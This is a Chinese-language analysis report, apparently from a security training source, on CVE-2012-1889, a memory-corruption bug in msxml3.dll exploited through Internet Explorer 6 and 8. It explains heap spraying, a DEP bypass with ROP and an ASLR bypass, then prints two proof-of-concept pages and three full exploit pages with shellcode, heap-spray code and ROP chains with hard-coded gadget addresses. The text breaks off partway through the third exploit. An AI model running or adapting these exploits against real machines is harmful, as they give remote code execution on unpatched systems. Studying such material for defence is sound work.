暴雷漏洞 (CVE-2012-1889)漏洞分析报告

软件名称:Internet explorer

软件版本:6.0 &8.0

漏洞模块:msxml3.dll

模块版本:-

编译日期:2008-04-14

操作系统:Windows XP/win7

漏洞编号:CVE-2012-1889

危害等级:高危

漏洞类型:缓冲区溢出

威胁类型:远程

目录

1.软件简介

2.漏洞成因

3.利用过程

3.1.winxp+IE6

3.2.winxp+IE8

3.3.win7+IE87

3.4.其它系统和浏览器环境

4.PoC & Exp

4.1.Poc1

4.2.Poc2

4.3.Exp1

4.4.Exp2

4.5.Exp3

5.结语

6.参考资料

1.软件简介

Microsoft XMLCore Services(MSXML)是一组用于用Jscript、VBScript、Microsoft开发工具编写构筑基于XML的Windows-native应用的服务。

2.漏洞成因

Microsoft XMLCore Services 3.0~6.0版本中存在漏洞,该漏洞源于访问未初始化内存的位置(见分析文章[1])。远程攻击者可借助特制的web站点利用该漏洞执行任意代码或导致拒绝服务。

3.利用过程

3.1.winxp+IE6

在Windbg调试下的IE浏览器中运行4.1中的Poc1,浏览器崩溃,调试器自动断下,崩溃现场如下图所示:

可以看到,崩溃的直接原因是call语句中ecx+18h处的内存不可访问。而追根溯源,在于

  1. 栈中局部变量[ebp-14h]的值传给了eax

  1. mov ecx,[eax]

  1. call [ecx+18h]

从这一整个流程来看,应是调用存在于堆中的某个对象的虚函数的过程。[ebp-14h]值是对象的this指针,对this指针直接解引用得到的是对象的虚函数表指针,而此指针18h偏移处自然是特定的虚函数指针。但是由于初始传递的this指针有问题,导致了后续call处的崩溃。

这一崩溃现场给我们带来了这样的漏洞利用的联想,如果我们能将shellcode放在这个call后面的地址,再触发这个调用,就可以执行任意代码了。但是这里有几个问题:

  1. 如何控制初始的从栈中局部变量传给堆空间的值,也就是[ebp-14h]?

  1. [ebp-14h]中放置什么样的值才能使得执行到call语句时,能够保证call 后的地址就是我们的shellcode或者能接着执行我们的shellcode?

  1. 如何将shellcode放入堆空间中?

第一个问题的答案是因为是在栈中,所以通过缓冲区溢出的方式可以控制[ebp-14h]的值,4.2中的Poc2即为通过构造足够长的对象路径来触发缓冲区溢出。

第二个问题的答案一般是放置0x0c0c0c0c。为什么是这个值?有两个原因,一是此值既可以作为普通的地址,也是一条汇编语句(or al,0xC),从执行shellcode角度来看等同于Nop语句的作用(因此也叫滑板指令)。通过让0x0c0c0c0c地址处的内容也为0x0c0c0c0c,且让0x0c0c0c0c+18h处仍然填充0x0c0c0c0c即可实现call后能够执行0c0c语句,只要我们在滑板指令最后放上shellcode即可完成利用。(实际上,在此环境中,用0x04040404是更好的选择,而同样是对寄存器操作的指令0x01010101、0x02020202和0x03030303不可行,前二者是因为地址不在堆空间中,后者是因为对应的汇编语句中含有对寄存器取地址操作,此地址很有可能是不可访问的,因而直接触发异常而无法滑行。)

总之,我们的思路就是在堆空间中让大量的内存的值都变为0x0c0c0c0c,并利用栈溢出触发call调用,这样cpu就能执行到滑板指令并最终执行shellcode

那么第三个问题如何解决呢?如何能够将shellcode放入堆空间中?答案是堆喷射(HeapSpray)。

堆喷射一词听上去很高深,实际上就是大量申请堆空间内存往里面填充字符,最早是黑客们的恶作剧,但是后来逐渐应用在浏览器等支持Javascript的程序上,通过JavaScript申请大段的堆内存,再通过漏洞控制EIP,跳到堆中可预测的地址处执行shellcode[2][3]。因此,我们可以将shellcode喷射到堆中,布置好我们的shellcode环境。具体来说,为了避免滑板指令和shellcode可能被分断的问题,我们采用多次申请堆空间的方式进行分块喷射,每次喷上1M的字节,即512KB(unicode),这样保证每次喷射的内容都是滑板指令加shellcode的连续代码,从而保证能够顺利执行到shellcode。如果选定了0c0c0c0c作为喷射内容,那么一般就需要喷射200次,因为堆空间申请地址是从0到高地址依次进行的,200M将能覆盖0c0c0c0c这个地址。除此之外,shellcode的内容只占1M的万分之一量级,从而极大概率不会出现0c0c0c0c处刚好落在shellcode中间的情况。

到这里,我们已经完全解决了Exp的三个问题,Exp的具体代码如4.3中的Exp1所示。

3.2.winxp+IE8

IE8开启了DEP。所谓DEP[4],即数据执行保护,是缓冲区溢出攻击出现后,出现的一种防护机制,它的核心思想就是将内存分块后,设置不同的保护标志,令表示代码的区块拥有执行权限,而保存数据的区块仅有读写权限,进而防止数据区域内的 shellcode 执行。DEP 的实现分为两种,一种为软件实现,是由各个操作系统编译过程中引入的,在微软中叫 SafeSEH。另一种为硬件实现,由CPU 硬件生产厂商固化到硬件中的,也称作 NX保护机制。

DEP意味着虽然我们可以通过call跳转到滑板指令,但是无法执行,直接使用4.3中的Exp1会触发DEP,如下图所示:

现在我们知道,DEP开启后我们最终通过call语句必定执行到滑板指令0x0c0c0c0c处,但是紧接着一定会被触发DEP而失败,所以接下来我们必须绕过DEP。绕过DEP需要用到Ret2Libc或者ROP技术,即连续通过Ret调用程序代码本身的内存地址,逐步地创建一连串欲执行的指令序列,其中我们可以调ZwSetInfomationProcess,VirtualProtect,VitualAlloc一类的函数来实现绕过DEP 的目的。无论是哪种,都要求我们精准的构造栈中的数据并跳转到ROP链条开始的,这就提出了另一个问题—能否实现在特定地址处喷射特定数据?答案是肯定的。事实上,存在精准堆喷射(PrecisionHeap Spraying)技术[5],能够实现精准喷射。在IE8中,堆块的分配是按0x1000字节进行对齐。于是,我们可以考虑构造如下图所示的内存块进行喷射:

接下来,根据上图示意图,不难得到计算偏移的公式

Padding Offset=(目标地址-UserPtr)%0x1000/2(除2是因为Unicode)

其中,UserPtr是用户实际可以使用的内存首地址可以通过调试器指令!heap -p -a 目标地址 得到,如下图所示:

在这里,UserPtr等于0x0c0a0020,套用公式可得偏移值为0x5F6。有了偏移值,下一步应该构建ROP链条,但是问题来了,我们的执行地址是什么?按照之前的漏洞利用过程,我们是将0x0c0c0c0c附近处的地址都填成了0x0c0c0c0c,从而保证最终能够执行到0c0c语句,滑行到shellcode。而现在,由于开启了DEP,我们必须使用ROP,但是ROP是建立在栈的基础上的,这样我们就必须保证call后的地址应该是指向能够执行XCHG eax,esp的并Ret的地址,但是执行到这之后esp指向0c0c0c0ch处,数据仍然是0c0c0c0ch这时候还未绕过DEP,将触发DEP导致失败,因此我们必须修改我们的利用思路。

我们不妨回顾一下崩溃现场,然后就可以得出新的思路:

不妨让溢出点的值变为0x0c0c0c08,利用第二个call语句设置我们的栈顶。具体构造如下图所示:

以上我们已经解决了所有的问题,写好后的Exp2如4.4中所示,利用此Exp,用WinDbg调试,用命令sxe ld:msxml3.dll方便导入模块时下断点,在模块基地址+0x3d751处设置断点,断下后可以看到内存布局,如下图所示:

值得一提的是,即使当前我们实现了精准堆喷射,但是下一次还是有失败的可能性。事实上,对于不同系统、不同浏览器版本喷射块的大小,按照如下前人的经验[6]进行喷射有最大概率成功:

最后,顺利执行到shellcode处,弹出对话框:

3.3.win7+IE8

Win7默认开启了ASLR,即地址空间布局随机化(Address space layoutrandomization,ASLR)。这是微软从Windows Vista开始加入的一种安全保护技术,它通过随机化几乎所有模块的加载地址,使得预测指定地址或者使用指定地址的代码变成了一件十分困难的事,在本次漏洞利用过程中,因为需要绕过DEP,所以需要构造Ret2Libc链,而其前提就是可以获取特定指令序列的在程序进程中的地址,如果程序的加载基址随机化,就无法以固定的地址寻址特定指令序列和系统API,进而无法构成Ret2Libc链。

绕过ASLR的方法[7]:

  1. 找到程序进程中没有开启随即基址的模块,比如java的运行环境、FlashPlayer,使用此类模块中的序列构造Ret2Libc链。

  1. 使用堆喷射,可以控制任意地址中的任意内容,不受随机基址影响。

  1. 利用操作系统中的固定点,3环中部分函数的地址是不变的,通过分析windows源码,有的函数定义时是个宏,说明其地址是固定的,如果知道该地址,可以进行利用。

  1. 一般cpu使用小端保存数据,高位数据保存在内存高地址,低位数据保存在内存低地址,随机基址只能将内存地址中的基址随机化,无法随机相对虚拟地址rva,通过淹没一个地址的低十六位,即只修改rva,可以绕过随机基址,从而访问到指定内存位置。

本实验采用第一种方法可以找到固定的指令和函数地址。如下图所示,借助mona,使用命令!py mona mod,可以查看所有模块的基本信息,包括是否重定位(Rebase),ASLR,NXCompat(数据执行保护)等。可以看到,当前只有三个模块没有开启ASLR。实际上,这三个模块都不是系统dll。但是,在其中,第一个可用模块中ReBase为True,表明其进行了重定位,其地址也不可靠[8]。因此,我们只能使用后两个dll,即MSVCR71.dll和ssv.dll。在这里,我们选定前者作为我们的锚dll。

利用mona,通过命令!py mona findwild -s “pop ebp#ret” -m “MSVCR71.dll”可以找到选定模块中特定汇编指令的地址,通过命令!py mona rop -m “MSVCR71.dll”可以自动生成依靠指定模块的ROP链条。值得注意的是,其代码逻辑可能会因为放宽匹配汇编语句的条件而发生改变,因此生成后的ROP可能需要手动修改一些数据才能成功利用。此外,笔者利用调用virtualProtect函数来绕过DEP,这一函数的地址是通过MSVCR71.dll 的IAT中的函数指针数组获得的,通过mona中的命令!py mona iat –m MSVCR71.dll即可得到结果,如下图所示。

在我们的环境下,通过在msxml3.dll模块基地址+0x4E2CD处设置断点,配合提前使用命令sxe ld:msxml3.dll,可以方便我们的调试。

总结一下,ASLR带来的问题我们通过找到锚定dll的方式来绕过。ROP中的汇编代码都在这个锚定dll中去找,同样,类似于VirtualProtect这样的函数地址,虽然不在此模块中,但是如果在此模块的IAT中,那么也可以直接通过IAT的地址来找到此函数指针的指针,这样也可以避免随机地址的问题。如果IAT中没有VirtualProtect,那么也可以找一找其他的类似的函数,如VirtualAlloc等。另一个问题是,如果所有模块都开启了随机化,那么也可以考虑在js脚本中动态加载特定模块,若此模块未开启随机,那么也可以利用此模块进行绕过[9]。

3.4.其它系统和浏览器环境

随着安全研究的深入,IE9、IE10和IE11以及操作系统都加强了安全防护,但是仍然有对应的思路去绕过。例如,IE9使用了Nozzle的防御措施,检测包含重复内容的内存申请,然后会阻止这样的申请,导致堆喷失败;IE10和IE11中无法再使用传统的BSTR字符串的方法等。这方面的内容,可参看文档[2][6]。

4.PoC & Exp

4.1.Poc1

//用于验证该漏洞存在

<html>

<head>

<title>CVE 2012-1889 PoC v1By:15PB.Com</title>

</head>

<body>

<objectclassid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"id='15PB'></object>

<script>

document.getElementById("15PB").object.definition(0);

</script>

</body>

</html>

4.2.Poc2

//用于验证可以通过构造足够长的路径触发缓冲区溢出

<html>

<head>

<title>CVE 2012-1889 PoC v2By:15PB.Com</title>

</head>

<body>

<objectclassid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"id='15PB'></object>

<script>

// 获取名为cxk的对象,并将其保存到名为objcxk实例中

var objcxk =document.getElementById('cxk').object;

// 初始化数据变量srcImgPath的内容(unescape()是解码函数)

var srcImgPath =unescape("\u0C0C\u0C0C");

// 构建一个长度为0x1000[4096*2]字节的数据

while (srcImgPath.length < 0x1000)

srcImgPath += srcImgPath;

// 构建一个长度为0x1000-10[4088*2]的数据,起始内容为“\\15PB_Com”

srcImgPath= "\\\\15PB_Com" + srcImgPath;

nLenth = 0x1000-4-2-1; // 4=堆长度信息 2=堆结尾信息 1=0x00

srcImgPath = srcImgPath.substr(0,nLenth);

// 创建一个图片元素,并将图片源路径设为srcImgPath

var emtPic =document.createElement("img");

emtPic.src =srcImgPath;

emtPic.nameProp; // 返回当前图片文件名(载入路径)

objcxk.definition(0); // 定义对象(触发溢出)

</script>

</body>

</html>

4.3.Exp1

//此Exp适配 IE 6 &&WinXp,功能是弹出对话框

<html>

<head>

<title>CVE 2012-1889 PoC v3By:15PB.Com</title>

</head>

<body>

<objectclassid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"id='15PB'></object>

<script>

// 1. 准备好Shellcode(unescape()是解码函数)

var cShellcode = unescape(

"\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464"+

"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +

"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +

"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +

"\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250"+

"\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +

"\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +

"\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +

"\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72"+

"\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +

"\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +

"\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +

"\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +

"\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +

"\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +

"\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +

"\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +

"\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +

"\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +

"\uC25D\u0010\u0000");

// 2. 制作一块滑板数据

// 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)

var nSlideSize = 1024*1024 / 2; // 一个滑板指令区的大小(1MB)

var nMlcHadSize = 32 / 2; // 堆头部大小

var nStrLenSize = 4 / 2; // 堆长度信息大小

var nTerminatorSize = 2 / 2; // 堆结尾符号大小

var nScSize = cShellcode.length; // Shellcode大小

var nFillSize =nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;

// 2.2 填充滑板指令,制作好一块填充数据

var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C

var cSlideData = new Array(); // 申请一个数组对象用于保存滑板数据

while (cFillData.length <=nSlideSize)

cFillData += cFillData;

cFillData = cFillData.substring(0,nFillSize);

// 3. 填充200MB的内存区域(申请200块1MB大小的滑板数据区),试图覆盖0x0C0C0C0C

// 区域,每块滑板数据均由滑板数据+Shellcode 组成,这样只要任意一块滑板数据

// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区

// 后面的Shellcode处,进而执行Shellcode。

//注意,堆喷射如果写成这样的方式,在IE6中可以正常申请,但是在IE8中将申请失败。

//for (var i = 0; i < 200; i++)

//cSlideData[i] = cFillData +cShellcode;

var cBlock = cFillData + cShellcode;

for (var i = 0; i < 200; i++)

cSlideData[i] = cBlock.substr(0,cBlock.length);

// 4. 触发CVE 2012-1889漏洞

// 4.1 获取名为cxk的XML对象,并将其保存到名为objcxk实例中

var objcxk =document.getElementById('cxk').object;

// 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据

var srcImgPath =unescape("\u0C0C\u0C0C");

while (srcImgPath.length < 0x1000)

srcImgPath += srcImgPath;

srcImgPath = "\\\\15PB_Com" +srcImgPath;

srcImgPath = srcImgPath.substr(0,0x1000-10);

// 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名

var emtPic =document.createElement("img");

emtPic.src = srcImgPath;

emtPic.nameProp;

// 4.4 定义对象objcxk(触发溢出)

objcxk.definition(0);

</script>

</body>

</html>

4.4.Exp2

//此Exp适配 IE 8&& WinXp,功能是绕过DEP弹出对话框

<html>

<head>

<title>Step4_CVE-2012-1889_v4By:15PB.Com</title>

</head>

<body>

<objectclassid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"id='15PB'></object>

<script>

// 1. 生成Padding

var cPadding =unescape("\u0C0C\u0C0C");

while (cPadding.length < 0x1000)

cPadding += cPadding;

cPadding = cPadding.substring(0,0x5F6);

// 2. 制作Ret2Libc

var cRet2Libc = unescape(

// 0x0C0C0C0C | 0x77C17A42 : #RETN (ROP NOP) [msvcrt.dll] <-ROP Step3

// 0x0C0C0C10 | 0x77BF398F : # POPEBP # RETN [msvcrt.dll] <-ROPStep4 跳过4字节(0x0C0C0C18)

// 0x0C0C0C14 | 0x77C0A891 : #XCHG EAX, ESP # RETN [msvcrt.dll] <-ROP Step2

// 0x0C0C0C18 | 0x77C17A42 : #RETN (ROP NOP) [msvcrt.dll] <-ROP Step5

// 0x0C0C0C1C | 0x77C17A42 : #RETN (ROP NOP) [msvcrt.dll] <-ROP Step6

// 0x0C0C0C20 | 0x77C17A42 : #RETN (ROP NOP) [msvcrt.dll] <-ROP Step7

// 0x0C0C0C24| 0x77C17A42 : # RETN (ROP NOP)[msvcrt.dll] <-ROP Step1/Step8

//

"\u7A42\u77C1" + //0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

"\u398F\u77BF" + //0x77BF398F : # POP EBP # RETN [msvcrt.dll]

"\uA891\u77C0" + //0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll]

"\u7A42\u77C1" + //0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

"\u7A42\u77C1" + //0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

"\u7A42\u77C1" + //0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

"\u7A42\u77C1" + //0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry

//

// 0x0C0C0C28 | 0x7C801AD4 : #Return to VirtualProtect <-ROP Step9

// 0x0C0C0C2C | 0x0C0C0C40 : #Return Addr(Payload Addr) <-ROP Step10

// 0x0C0C0C30 | 0x0C0C0C40 : #lpAddress = Payload Addr

// 0x0C0C0C34 | 0x00001000 : #dwSize = 0x00001000

// 0x0C0C0C38 | 0x00000040 : #flNewProtect = 0x00000040

// 0x0C0C0C3C | 0x77C31C4C : #lpflOldProtect = 0x77C31C4C

//

"\u1AD4\u7C80" + //0x7C801AD4 : # Return to VirtualProtect

"\u0C40\u0C0C" + //0x0C0C0C40 : # Return Addr(Payload Addr)

"\u0C40\u0C0C" + //0x0C0C0C40 : # lpAddress = PayloadAddr

"\u1000\u0000" + //0x00001000 : # dwSize = 0x00001000

"\u0040\u0000" + //0x00000040 : # flNewProtect =0x00000040

"\uEFFC\u77C2" );//0x77C31C4C : # lpflOldProtect = 0x77C31C4C

// 3. 准备好Payload(unescape()是解码函数)

var cPayload = unescape(

"\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464"+

"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +

"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +

"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +

"\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250"+

"\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +

"\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +

"\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +

"\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +

"\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +

"\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +

"\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +

"\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +

"\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +

"\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +

"\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +

"\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45"+

"\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +

"\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +

"\uC25D\u0010\u0000");

// 4. 准备好FillData

// 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)

var nSlideSize = 0x1000; // 一个滑板指令块的大小(4KB)

var nPadSize = cPadding.length; // Padding大小

var nR2LSize = cRet2Libc.length; // Ret2Libc大小

var nPySize = cPayload.length; // Shellcode大小

var nFillSize = nSlideSize-nPadSize-nR2LSize-nPySize;

// 4.2 制作好一块填充数据

var cFillData = unescape("\u0C0C\u0C0C");

while (cFillData.length <nSlideSize)

cFillData += cFillData;

cFillData = cFillData.substring(0,nFillSize);

//5. 构建滑板指令数据块

var nBlockSize = 0x40000; // 256KB

var cBlock = cPadding + cRet2Libc + cPayload +cFillData;

while (cBlock.length < nBlockSize)

cBlock += cBlock;

cBlock = cBlock.substring(2,nBlockSize-0x20); // 0x809

// 6. 填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C

// 区域,每块滑板数据均由滑板数据+Shellcode 组成,这样只要任意一块滑板数据

// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区

// 后面的Shellcode处,进而执行Shellcode。

var cSlideData = new Array();

for (var i = 0; i < 800; i++)

cSlideData[i] = cBlock.substr(0,cBlock.length);

// 7. 触发CVE 2012-1889漏洞

// 7.1 获取名为cxk的XML对象,并将其保存到名为objcxk实例中

var objcxk = document.getElementById('cxk').object;

// 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据

var srcImgPath =unescape("\u0C0C\u0C08");

while (srcImgPath.length < 0x1000)

srcImgPath += srcImgPath;

srcImgPath = "\\\\15PB_Com" +srcImgPath;

srcImgPath = srcImgPath.substr(0,0x1000-10);

// 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名

var emtPic =document.createElement("img");

emtPic.src = srcImgPath;

emtPic.nameProp;

// 7.4 定义对象objcxk(触发溢出)

objcxk.definition(0);

</script>

</body>

</html>

4.5.Exp3

//此Exp适配 IE 8&& Win7,绕过DEP和ASLR并弹出对话框

<html>

<head>

<title>Step4_CVE-2012-1889_v4By:15PB.Com</title>

</head>

<body>

<objectclassid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"id='15PB'></object>

<script>

// 1. 生成Padding

var cPadding =unescape("\u0C0C\u0C0C");

while (cPadding.length < 0x1000)

cPadding += cPadding;

cPadding = cPadding.substring(0,0x5F6);

// 2. 制作Ret2Libc

var cRet2Libc = unescape

(

// 0x0C0C0C0C | 0x7c341094 : #RETN (ROP NOP) [MSVCR71.dll] <-ROPStep3

// 0x0C0C0C10 | 0x7c34bb22 : # POP EBP # RETN [MSVCR71.dll] <-ROP Step4 跳过4字节(0x0C0C0C18)

// 0x0C0C0C14 | 0x7c348b05 : #XCHG EAX, ESP # RETN [MSVCR71.dll]<-ROP Step2

// 0x0C0C0C18 | 0x7c341094 : #RETN (ROP NOP) [MSVCR71.dll] <-ROP Step5

// 0x0C0C0C1C | 0x7c341094 : #RETN (ROP NOP) [MSVCR71.dll] <-ROP Step6

// 0x0C0C0C20 | 0x7c341094 : #RETN (ROP NOP) [MSVCR71.dll] <-ROP Step7

// 0x0C0C0C24 | 0x7c341094 : #RETN (ROP NOP) [MSVCR71.dll] <-ROP Step1/Step8

//以下借助mona 命令!py mona rop -m “msvcr71.dll”生成

"\u1094\u7c34" + //0x7c341094 : # RETN (ROP NOP) [MSVCR71.dll]

"\ubb22\u7c34" + //0x7c34bb22 : # POP EBP # RETN [MSVCR71.dll]

"\u8b05\u7c34" + //0x7c348b05 : # XCHG EAX, ESP # RETN [MSVCR71.dll]

"\u1094\u7c34" + //0x7c341094 : # RETN (ROP NOP) [MSVCR71.dll]

"\u1094\u7c34" + //0x7c341094 : # RETN (ROP NOP) [MSVCR71.dll]

"\u1094\u7c34" + //0x7c341094 : # RETN (ROP NOP) [MSVCR71.dll]

"\u1094\u7c34" + //0x7c341094 : # RETN (ROP NOP) [MSVCR71.dll] <-ROP Entry

// 0x0C0C0C28 | 0x7c35f1b5 : # POP EBP # RETN <-ROP Step9

// 0x0C0C0C2C | 0x0c0c0c68 : #skip 4bytes [MSVCR71.dll]

// 0x0C0C0C30 |0x7c3425b6: # POP EBX #RETN [MSVCR71.dll]

// 0x0C0C0C34 |0x00000201: # #0x00000201-> ebx

// 0x0C0C0C38 | 0x7c34441e : # POP EDX # RETN [MSVCR71.dll]

// 0x0C0C0C3C | 0x00000040 :#0x00000040-> edx

// 0x0C0C0C40 |0x7c354f23 : # POP ECX # RETN [MSVCR71.dll]

// 0x0C0C0C44 |0x7c38b239 : # &Writable location [MSVCR71.dll]

// 0x0C0C0C48 | 0x7c36496e : # POP EDI # RETN [MSVCR71.dll]

// 0x0C0C0C4C | 0x7c34d202 : ,#RETN (ROP NOP) [MSVCR71.dll]

// 0x0C0C0C50 | 0x7c34f6f2 : ,# POPESI # RETN [MSVCR71.dll]

// 0x0C0C0C54 | 0x7c3415a2 : ,#JMP [EAX] [MSVCR71.dll]

// 0x0C0C0C58 | 0x7c34728e : ,#POP EAX # RETN [MSVCR71.dll]

// 0x0C0C0C5C | 0x76ff2341 : ,#ptr to &VirtualProtect() [IAT MSVCR71.dll]

// 0x0C0C0C60 | 0x7c378c81 : ,#PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]

//0x0C0C0C64 | 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]

"%uf1b5%u7c35" + // 0x7c35f1b5: ,# POP EBP # RETN [MSVCR71.dll]

"%u0c68%u0c0c"+ // 0x0c0c0c68: ,# skip 4 bytes [MSVCR71.dll]

"%u25b6%u7c34" + // 0x7c3425b6 : ,#POP EBX # RETN [MSVCR71.dll]

"%u0201%u0000" + // 0x00000201 : ,#0x00000201-> ebx

"%u441e%u7c34" + // 0x7c34441e : ,#POP EDX # RETN [MSVCR71.dll]

"%u0040%u0000" + // 0x00000040 : ,#0x00000040-> edx

"%u4f23%u7c35" + // 0x7c354f23 : ,#POP ECX # RETN [MSVCR71.dll]

"%ub239%u7c38" + // 0x7c38b239 : ,#&Writable location [MSVCR71.dll]

"%u496e%u7c36" + // 0x7c36496e : ,#POP EDI # RETN [MSVCR71.dll]

"%ud202%u7c34" + // 0x7c34d202 : ,#RETN (ROP NOP) [MSVCR71.dll]

"%uf6f2%u7c34" + // 0x7c34f6f2 : ,#POP ESI # RETN [MSVCR71.dll]

"%u15a2%u7c34" + // 0x7c3415a2 : ,#JMP [EAX] [MSVCR71.dll]

"%ud060%u7c34" + // 0x7c34d060 : ,#POP EAX # RETN [MSVCR71.dll]

"%ua151%u7c37" + //0x7c37a151 : ,#ptr to &VirtualProtect() [IAT MSVCR71.dll]

//这里注意eax的值发生了变化,要想正确跳转到virtualProtect地址,则指向

//此地址的指针值需要考虑这个操作

"%u8c81%u7c37" + // 0x7c378c81 : ,#PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]

//这里跳转到shellcode

"%u5c30%u7c34" // 0x7c345c30 : ,#ptr to push esp # ret [MSVCR71.dll]

);

// 0x0C0C0C28 | 0x7C801AD4 : # Return toVirtualProtect <-ROP Step9

// 0x0C0C0C2C | 0x0C0C0C40 : # ReturnAddr(Payload Addr) <-ROP Step10

// 0x0C0C0C30 | 0x0C0C0C40 : #lpAddress = Payload Addr

// 0x0C0C0C34 | 0x00001000 : #dwSize = 0x00001000

// 0x0C0C0C38 | 0x00000040 : #flNewProtect = 0x00000040

// 0x0C0C0C3C | 0x77C31C4C : #lpflOldProtect = 0x77C31C4C

//

// "\u1AD4\u7C80" + //0x7C801AD4 : # Return to VirtualProtect

// "\u0C40\u0C0C" + //0x0C0C0C40 : # Return Addr(Payload Addr)

// "\u0C40\u0C0C" + //0x0C0C0C40 : # lpAddress = Payload Addr

// "\u1000\u0000" + //0x00001000 : # dwSize =0x00001000

// "\u0040\u0000" + //0x00000040 : # flNewProtect =0x00000040

// "\uEFFC\u77C2" );//0x77C31C4C : # lpflOldProtect = 0x77C31C4C

// 3. 准备好Payload(unescape()是解码函数)

var cPayload = unescape(

"\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +

"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +

"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +

"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +

"\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +

"\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +

"\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000"+

"\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +

"\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +

"\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +

"\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D"+

"\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +

"\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +

"\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +

"\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2"+

"\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +

"\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +

"\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +

"\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +

"\uC25D\u0010\u0000");

// 4. 准备好FillData

// 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)

